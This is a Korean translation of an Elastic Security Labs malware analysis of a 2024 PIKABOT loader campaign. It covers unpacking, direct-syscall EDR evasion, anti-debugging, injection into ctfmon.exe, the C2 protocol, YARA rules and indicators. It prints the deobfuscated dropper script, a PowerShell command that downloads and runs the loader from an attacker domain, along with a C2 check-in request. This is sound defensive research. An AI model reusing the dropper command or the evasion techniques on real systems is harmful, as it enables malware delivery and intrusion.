피카봇 한 눈에 보기
피카봇은 널리 배포된 로더로, 악성 공격자가 코발트 스트라이크와 같은 페이로드를 배포하거나 랜섬웨어를 실행하는 데 활용합니다. 2월 8일, Elastic Security Labs 팀은 업데이트된 변종을 포함한 새로운 PIKABOT 캠페인을 관찰했습니다. 이 버전의 PIKABOT 로더는 새로운 언패킹 방법과 강력한 난독화 기능을 사용합니다. 핵심 모듈에는 새로운 문자열 복호화 구현, 난독화 기능 변경 및 기타 다양한 수정 사항이 추가되었습니다.
이 게시물에서는 초기 캠페인을 강조하고, 새로운 로더 기능을 분석하며, 핵심 구성 요소를 검토합니다. 이 새로운 업데이트에는 시간이 지남에 따라 더욱 개선될 새로운 코드베이스의 시작이라고 생각되는 흥미로운 디자인 선택이 있습니다. 기능은 이전 빌드와 비슷하지만, 새 업데이트에서는 서명 및 이전 도구가 손상되었을 가능성이 높습니다.
이 연구를 개발하는 동안 지스케일러의 ThreatLabz 팀은 이 게시물에 나온 내용과 겹치는 샘플에 대한 훌륭한 분석과 인사이트를 발표했습니다. 이러한 피카봇의 변화를 종합적으로 이해하기 위해 그들의 연구와 우리의 연구를 함께 읽어보시기 바랍니다.
핵심 사항
- 피카봇 로더 및 핵심 구성 요소에 대한 중요한 업데이트가 포함된 새로운 캠페인
- PIKABOT 로더는
.data
섹션에서 흩어져 있는 암호화 데이터 청크를 base64 형식으로 결합하는 새로운 언패킹 기술을 사용합니다. - 코어의 변경 사항에는 톤다운된 난독화 및 인라인 RC4 기능, 런타임 시 일반 텍스트 구성, 네트워크 통신 중 AES 제거 등이 포함됩니다.
- 피카봇 개발은 진행 중인 작업으로 보이며, 향후 업데이트가 임박한 것으로 보입니다.
- Elastic Security를 사용한 콜 스택 가시성은 PIKABOT과 같은 위협을 신속하게 분류할 수 있는 기능을 제공합니다.
피카봇 캠페인 개요
새해가 시작되면서 약 2주 전까지만 해도 피카봇 배포는 활발하지 않았습니다. 2월 8일에 발생한 이 새로운 캠페인에는 악성 난독화 자바스크립트 스크립트가 포함된 ZIP 아카이브 파일로 연결되는 하이퍼링크가 포함된 이메일이 포함되었습니다.
아래는 난독화된 JavaScript 파일의 내용으로, 파워셸을 사용하여 PIKABOT의 로더를 다운로드하고 실행하는 다음 순서를 보여줍니다.
// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
var obj = new ActiveXObject("WScript.Shell")
obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}
피카봇 로더
로더 1단계
개발자는 진짜처럼 보이기 위해 이 리포지토리에서 grepWinNP3.exe
이라는 합법적인 검색 및 바꾸기 도구를 변조했습니다. 내부 샌드박싱 프로젝트(Detonate)를 사용하고 Elastic Defend의 콜 스택 기능을 활용함으로써 실행에 대한 상세한 추적이 가능해져 악성 코드의 진입 지점을 정확히 찾아낼 수 있었습니다.
호출 스택 데이터를 분석한 결과 악성 파일 내에서 오프셋 0x81aa7
이전 호출에서 실행이 시작되고, 실행은 오프셋 0x25d84
이전 호출에서 메모리 할당으로 도약하는 것으로 나타났습니다. 또한, 프로세스 생성 호출 스택에서 백업되지 않은 메모리에 있는 셸코드 실행을 통한 시스템 호출 사용으로 인해 KernelBase.dll!CreateProcessInternalW
및 ntdll.dll!NtCreateUserProcess
에 대한 정상적인 호출이 누락되는 것이 관찰되었습니다. 이 구현을 사용하면 WOW64 모듈의 사용자 모드 후크를 우회하여 EDR 제품을 회피할 수 있습니다.
악성 파일의 오프셋 0x81aa7
을 살펴보고 검증된 정상 버전의 grepWinNP3.exe
파일과 나란히 코드를 비교한 결과, PIKABOT 로더를 실행하기 위해 하드코딩된 주소, 즉 PIKABOT 로더의 진입점을 표시하는 독특하고 특이한 것을 발견했습니다.
이 악성 코드는 각 어셈블리 명령어 뒤에 점프(JMP
)를 사용하는 기술을 사용하여 강력한 난독화를 사용합니다. 이러한 접근 방식은 간단한 실행 흐름을 방해하여 분석을 상당히 복잡하게 만듭니다.
로더는 .text
섹션에서 2 페이로드를 추출하여 0x94
바이트 단위로 저장한 후 조각을 통합합니다. 그런 다음 비트 단위 연산을 사용하는 사용자 지정 암호 해독 알고리즘을 사용합니다.
프로세스의 다음 단계는 현재 실행 중인 프로세스의 범위 내에서 PE 파일을 반영적으로 로드하는 것입니다. 이 기술은 파일을 디스크에 물리적으로 기록할 필요 없이 PE 파일의 내용을 메모리에 동적으로 로드하고 실행하는 기술입니다. 이 방법은 외부 파일 상호 작용의 필요성을 제거하여 실행 프로세스를 간소화할 뿐만 아니라 호스트 시스템에 남는 디지털 공간을 최소화하여 스텔스성을 크게 향상시킵니다.
로더 2단계
새로 설정된 프로세스 내에서 PIKABOT 코어를 초기화하는 작업을 수행하는 2 로더는 코어 자체에서 볼 수 있는 것과 유사한 코드 및 문자열 난독화 기술을 혼합하여 사용합니다. 난독화 기능 외에도 로더에는 일련의 고급 디버깅 방지 대책이 통합되어 있습니다.
디버깅 방지
이 멀웨어는 디버거 탐지, 프로세스 생성, 인젝션 등 다양한 작업에 특정 NTDLL Zw
API를 사용하여 탐지 메커니즘의 레이더망을 피하고 EDR(엔드포인트 탐지 및 대응) 사용자-랜드 후킹과 디버깅 시도를 회피하는 것을 목표로 합니다.
모니터링 및 가로채기에 더 취약한 기존 API 호출을 우회하여 직접 시스템 호출을 실행합니다. 래퍼 함수를 사용하여 64비트 모드에서 Zw
API 이름의 해시를 매개변수로 사용하는 시스템 호출을 쉽게 실행할 수 있습니다.
래퍼 함수는 로드된 NTDLL을 구문 분석하고 Zw
함수 이름의 해시를 일치시켜 시스템 호출 ID를 추출합니다. 올바른 시스콜 ID를 찾은 후 Wow64Transition
Windows API를 사용하여 64비트 모드에서 시스콜을 실행합니다.
래퍼가 호출되기 전에 필요한 매개변수가 스택에 푸시되며, 다음 예시는 ProcessInformationClass
을 ProcessDebugPort
(7)로 설정한 ZwQueryInformationProcess
호출을 보여줍니다:
이 멀웨어는 디버깅 및 포렌식 도구로 탐지하지 못하도록 설계된 일련의 안티 디버깅 기술을 사용합니다. 이러한 기술에는 다음이 포함됩니다:
SystemKernelDebuggerInformation
매개 변수와 함께ZwQuerySystemInformation
을 호출하여 커널 디버거의 존재를 감지합니다.ProcessInformationClass
을ProcessDebugPort
으로 설정한 상태에서ZwQueryInformationProcess
을 호출하여 프로세스와 관련된 디버깅 포트를 식별합니다.ZwQueryInformationProcess
을 다시 호출하되ProcessInformationClass
을ProcessDebugFlags
매개변수로 설정하여 프로세스에 디버깅 플래그가 지정되었는지 확인합니다.- 프로세스 환경 블록(PEB)에서 프로세스가 현재 디버깅 중인지 여부를 나타내는
BeingDebugged
플래그를 검사합니다. GetThreadContext
을 사용하여 하드웨어 중단점을 감지합니다. 현재 실행 중인 프로세스 목록을 스캔하여 활성 디버깅 또는 포렌식 도구가 있는지 확인합니다.
흥미롭게도 검사하는 프로세스 이름 중 일부에서 첫 바이트가 0이 되는 버그를 발견했는데, 이는 멀웨어 작성자의 실수이거나 난독화 도구가 원치 않는 부작용을 추가한 것일 수 있습니다. 확인되는 프로세스 이름의 전체 목록은 이 글의 마지막 부분에서 확인할 수 있습니다.
실행
로더는 전역 변수를 NTDLL 및 KERNEL32 라이브러리의 필수 API 주소로 채웁니다. 이 주소는 후속 작업을 실행하는 데 필요하므로 이 단계는 멀웨어의 작동에 매우 중요합니다. 로더는 이전에 Zw
API에 사용되었던 것과는 다른 별도의 API 이름 해싱 알고리즘을 사용한다는 점에 유의하세요.
아래는 재구성된 구조입니다:
struct global_variable
{
int debugger_detected;
void* LdrLoadDll;
void* LdrGetProcedureAddress;
void* RtlAllocateHeap;
void* RtlFreeHeap;
void* RtlDecompressBuffer;
void* RtlCreateProcessParametersEx;
void* RtlDestroyProcessParameters;
void* ExitProcess;
void* CheckRemoteDebuggerPresent;
void* VirtualAlloc;
void* GetThreadContext;
void* VirtualFree;
void* CreateToolhelp32Snapshot;
void* Process32FirstW;
void* Process32NextW;
void* ntdll_module;
void* kernel32_dll;
int field_48;
uint8_t* ptr_decrypted_PIKABOT_core;
int decrypted_PIKABOT_core_size;
TEB* TEB;
};
로더 구조
그런 다음 이 멀웨어는 .data
섹션에 흩어져 있는 피카봇 코어의 바이트를 base64로 인코딩된 청크로 통합하는데, 리소스 섹션에서 PNG 세트를 로드했던 이전 버전과 비교했을 때 주목할 만한 변화입니다.
이 함수는 각각 비슷한 연산을 수행하지만 인수가 다른 9개의 서로 다른 함수 시퀀스를 실행합니다. 각 함수는 합법적으로 보이는 문자열을 사용하는 인라인 프로세스를 사용하여 RC4 키를 복호화합니다. 그런 다음 이 함수는 바이트의 암호를 해독하기 전에 각 청크를 base64로 디코딩합니다.
해독된 바이트를 통합한 후 RtlDecompressBuffer
API를 사용하여 압축을 해제합니다.
이 로더는 합법적인 Windows 프로세스로 가장하도록 설계된 전술인 ZwCreateUserProcess
syscall을 사용하여 일시 중단된 ctfmon.exe
인스턴스를 생성합니다. 그 다음, ZwAllocateVirtualMemory
syscall을 통해 원격으로 대용량 메모리 영역을 할당하여 PIKABOT 코어의 PE 파일을 저장합니다.
그 후 로더는 ZwWriteVirtualMemory
syscall을 사용하여 새로 할당된 메모리 영역에 PIKABOT 코어를 씁니다. 그런 다음 SetContextThread
API를 호출하여 스레드의 실행 주소를 변경함으로써 실행 흐름을 ctfmon.exe
에서 악성 PIKABOT 코어로 리디렉션합니다. 마지막으로 ZwResumeThread
syscall로 스레드를 재개합니다.
피카봇 코어
봇은 피해 시스템에서 초기 데이터를 수집하고 위협 행위자에게 명령줄 실행, 검색 또는 인젝션을 통한 추가 페이로드 실행과 같은 침해 후 동작을 가능하게 하는 명령 및 제어 액세스 권한을 부여하는 등 전반적인 동작과 기능은 이전 버전과 유사합니다.
주목할 만한 차이점은 다음과 같습니다:
- 인라인 함수가 적은 새로운 스타일의 난독화 방식
- 문자열 해독을 위한 다양한 구현
- 런타임에 일반 텍스트 구성, JSON 형식 제거
- 네트워크 통신은 RC4와 바이트 스와핑, AES 제거를 사용합니다.
난독화
가장 눈에 띄는 차이점 중 하나는 피카봇의 난독화 기능에 있습니다. 이 버전에는 난독화가 대폭 감소한 바이너리가 포함되어 있지만 이전 버전에 익숙한 느낌을 제공합니다. 새로운 업데이트 이후에는 수많은 인라인 RC4 기능 대신 몇 가지 기능만 남았습니다. 안타깝게도 전역 변수와 정크 인스트럭션에는 여전히 많은 난독화가 적용되어 있습니다.
아래는 분석 시간을 연장하고 혼란을 가중시키기 위해 실제 멀웨어의 코드 사이에 정크 코드를 삽입하는 전형적인 예입니다.
문자열 복호화
앞서 언급했듯이 문자열을 해독하는 데 사용되는 인라인 RC4 함수는 여전히 몇 가지 있습니다. 이전 버전에서는 문자열을 모호하게 하기 위해 AES 및 RC4를 사용하는 것과 함께 추가 단계로 base64 인코딩을 사용했지만, 이번 코어 버전에서는 문자열 복호화에 base64 인코딩이나 AES가 사용되지 않았습니다.
다음은 하드코딩된 뮤텍스를 해독하는 데 사용되는 나머지 인라인 RC4 함수의 예시입니다. 이 버전에서 PIKABOT은 데이터를 해독하기 위해 RC4 키로 합법적인 문자열을 사용하는 트레이드마크 사용을 계속합니다.
이 새 버전에서는 스택 문자열을 사용하고 개별 문자를 무작위 순서로 배열에 배치하여 문자열 난독화를 위한 다른 구현이 포함되어 있습니다. 아래는 netapi32.dll
을 사용한 예제입니다:
디버깅 방지
이 버전에서 안티 디버깅 측면에서 PIKABOT은 CheckRemoteDebuggerPresent
을 사용하는 것과 함께 PEB에서 BeingDebuggedFlag
을 확인합니다. 샘플에서는 디버거가 연결된 경우 하드코딩된 값(0x2500
)이 반환됩니다. 이러한 검사는 안타깝게도 한 곳에 있지 않고 네트워크 요청이 이루어지기 직전과 같이 바이너리 전체에 걸쳐 여러 곳에 흩어져 있습니다.
실행
실행 및 전반적인 동작과 관련하여 PIKABOT의 핵심은 이전 버전의 실행 흐름을 밀접하게 따릅니다. 실행 시 PIKABOT은 PEB를 구문 분석하고 API 해싱을 사용하여 런타임에 필요한 라이브러리를 확인합니다. 다음으로 GetUserDefaultLangID
을 사용하여 언어 식별자를 확인하여 피해 컴퓨터의 유효성을 검사합니다. LangID
이 러시아어(0x419
) 또는 우크라이나어(0x422
)로 설정된 경우 악성코드는 즉시 실행을 중지합니다.
언어 검사 후 PIKABOT은 동일한 컴퓨터에서 재감염을 방지하기 위해 뮤텍스를 생성합니다. 샘플에서는 다음과 같은 뮤텍스를 사용했습니다: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}
다음으로, 멀웨어는 호스트 이름 및 사용자 이름과 함께 시스템 볼륨 번호를 사용하여 피해 컴퓨터에서 UUID를 생성합니다. 그런 다음 PIKABOT은 RtlRandomEx
에서 시드한 고유한 RC4 키를 생성한 다음 나중에 네트워크 통신 중에 사용할 구성 구조에 키를 배치합니다.
초기 수집
다음 단계는 피해 컴퓨터 정보를 수집하고 데이터를 사용자 지정 구조에 배치한 다음 초기 체크인 요청 후 암호화하여 전송하는 것입니다. 다음 작업은 피해자와 피해자의 네트워크를 지문으로 인식하고 식별하는 데 사용됩니다:
- 피카봇 스레드와 연결된 사용자의 이름을 검색합니다.
- 컴퓨터 이름을 검색합니다.
- 프로세서 정보를 가져옵니다.
- 다음을 사용하여 디스플레이 장치 정보를 가져옵니다.
EnumDisplayDevicesW
- 다음을 사용하여 도메인 컨트롤러 정보를 검색합니다.
DsGetDcNameW
- 다음을 사용하여 물리적 메모리 및 가상 메모리의 현재 사용량을 수집합니다.
GlobalMemoryStatusEx
- 샌드박스 환경을 식별하는 데 사용되는
GetWindowRect
을 사용하여 창 크기를 가져옵니다. - 다음을 사용하여 Windows OS 제품 정보를 검색합니다.
RtlGetVersion
CreateToolhelp32Snapshot
사용하여 프로세스 정보 검색
Config
이번 새 버전에서 한 가지 특이한 개발 결정은 멀웨어 구성에 관한 것입니다. 런타임에 구성은 일반 텍스트로 제공되며 메모리의 한 지점에 위치합니다. 이것은 결국 메모리에서 지워집니다. 이전 버전에서는 이러한 구성이 보호되었고 널리 퍼진 멀웨어 제품군을 다룰 때 표준이 되었기 때문에 일시적으로만 지속될 것으로 예상합니다.
네트워크
PIKABOT은 사용자 에이전트 Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
를 사용하여 비 전통적인 포트(2967, 2223 등)에서 HTTPS를 통해 네트워크 통신을 수행합니다. PIKABOT 코어 모듈의 빌드 번호는 구성에서 함께 연결되며 암호화된 네트워크 요청 내에서 전달되는 것을 확인할 수 있으며, 우리가 분석한 버전은 1.8.32-beta
로 레이블이 지정되어 있습니다.
이 초기 체크인 요청을 C2 서버에 보내면 PIKABOT은 이전에 수집한 정보를 RC4로 암호화하여 전송하면서 봇을 등록합니다. RC4 키는 이 초기 패킷에서 오프셋(0x10
)으로 전송됩니다. 앞서 언급했듯이 PIKABOT은 더 이상 네트워크 통신에 AES를 사용하지 않습니다.
POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967
00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...
피카봇 초기 체크인 요청
각 아웃바운드 네트워크 요청에 대해 PIKABOT은 다음 URI 중 하나를 무작위로 선택합니다:
/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list
PIKABOT C2 요청에 사용된 URI 목록
피해 데이터가 JSON을 사용하여 구조화된 형식으로 배치되었던 이전 버전과 달리, 이러한 요청에 포함된 데이터는 원시 바이트입니다. 첫 번째 16 바이트는 특정 구성 정보(봇 명령 ID, 바이트 시프트 등)를 전달하는 데 사용됩니다. 다음 32바이트에는 세션의 RC4 키가 포함되며, 그 다음에는 암호화된 데이터가 요청에 이어집니다.
개발자가 런타임에 발생하는 바이트의 무작위 이동을 추가한 변환이 하나 더 있습니다. 아래 요청 예시에서 오프셋(0xF
)의 이 숫자(0x18
)는 암호화된 데이터의 끝에서 암호화된 데이터의 시작 부분으로 이동하는 바이트 수를 나타냅니다. 이 예제에서 데이터를 성공적으로 해독하려면 마지막 18 바이트를 바이트(0xDA 0x9E
) 앞에 배치해야 합니다.
봇 기능
핵심 봇 기능은 명령 실행, 검색 수행, 프로세스 주입 기능 등 이전 버전과 유사합니다. 저희 입장에서는 여전히 진행 중인 작업처럼 보입니다. 하나의 명령 ID(0x982
)는 빈 함수이고, 다른 경우에는 동일한 함수를 가리키는 세 개의 고유 명령 ID가 있습니다. 이는 이 소프트웨어가 아직 완성되지 않았음을 나타냅니다.
명령 ID | 설명 |
---|---|
0x1FED | 비콘 시간 초과 |
0x1A5A | PIKABOT 프로세스를 종료합니다. |
0x2672 | 난독화를 포함하지만 의미 있는 작업을 수행하지 않는 것으로 보입니다. |
0x246F | 디스크에 파일을 만들고 구성에 연결된 레지스트리를 수정합니다. |
0xACB | 출력을 통한 명령줄 실행 |
0x36C | 원격 프로세스에서 PE 주입 |
0x792 | 원격 프로세스에 셸코드 삽입 |
0x359, 0x3A6, 0x240 | 0xACB와 유사한 명령줄 실행, 사용자 지정 오류 코드(0x1B3) 사용 |
0x985 | 초기 피해자 수집 열거와 유사한 프로세스 열거 |
0x982 | 빈 함수 |
멀웨어 및 MITRE ATT&CK
Elastic은 MITRE ATT& CK 프레임워크를 사용하여 지능형 지속적 위협이 기업 네트워크에 대해 사용하는 일반적인 전술, 기술 및 절차를 문서화합니다.
전술
전술은 기술 또는 하위 기술의 이유를 나타냅니다. 이는 적의 전술적 목표, 즉 행동을 수행하는 이유입니다.
기술
기술은 공격자가 행동을 수행하여 전술적 목표를 달성하는 방법을 나타냅니다.
멀웨어 탐지
예방
- 백업되지 않은 의심스러운 메모리에서 로드된 네트워크 모듈
- 평판이 낮은 모듈에서 셸코드 실행
- 원격 프로세스에 대한 의심스러운 메모리 쓰기
- 의심스러운 원격 메모리 할당
- 비정상적인 완화 기능을 갖춘 프로세스 생성
- Windows.Trojan.PikaBot
YARA
Elastic Security는 이 활동을 식별하기 위해 YARA 규칙을 만들었습니다. 아래는 피카봇을 식별하기 위한 야라 규칙입니다:
rule Windows_Trojan_Pikabot_5441f511 {
meta:
author = "Elastic Security"
creation_date = "2024-02-15"
last_modified = "2024-02-15"
license = "Elastic License v2"
description = "Related to PIKABOT core"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.PIKABOT"
strings:
$handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
$api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
$debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
$checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
$read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
condition:
2 of them
}
rule Windows_Trojan_Pikabot_95db8b5a {
meta:
author = "Elastic Security"
creation_date = "2024-02-15"
last_modified = "2024-02-15"
license = "Elastic License v2"
description = "Related to PIKABOT loader"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.PIKABOT"
strings:
$syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
$syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
$payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
$loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
condition:
2 of them
}
관찰
모든 관측값은 ECS 및 STIX 형식으로도 다운로드할 수 있습니다.
이 연구에서는 다음과 같은 관찰 가능성에 대해 논의했습니다.
Observable | 유형 | 이름 | 참조 |
---|---|---|---|
2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b | SHA-256 | Opc.zip | 난독화된 자바스크립트를 보관하는 Zip 아카이브 |
ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d | SHA-256 | grepWinNP3.exe | 피카봇 로더 |
139.84.237[.]229:2967 | IPv4-addr | PIKABOT C2 서버 | |
85.239.243[.]155:5000 | IPv4-addr | PIKABOT C2 서버 | |
104.129.55[.]104:2223 | IPv4-addr | PIKABOT C2 서버 | |
37.60.242[.]85:9785 | IPv4-addr | PIKABOT C2 서버 | |
95.179.191[.]137:5938 | IPv4-addr | PIKABOT C2 서버 | |
65.20.66[.]218:5938 | IPv4-addr | PIKABOT C2 서버 | |
158.220.80[.]157:9785 | IPv4-addr | PIKABOT C2 서버 | |
104.129.55[.]103:2224 | IPv4-addr | PIKABOT C2 서버 | |
158.220.80[.]167:2967 | IPv4-addr | PIKABOT C2 서버 | |
entrevientos.com[.]ar | 도메인 | Zip 아카이브용 호스팅 인프라 | |
gloverstech[.]com | 도메인 | PIKABOT 로더용 호스팅 인프라 |
참고 자료
위의 조사에서 참조한 내용은 다음과 같습니다:
- https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
- https://x.com/Cryptolaemus1/status/1755655639370514595?s=20
부록
Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe
x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe
PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe
ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe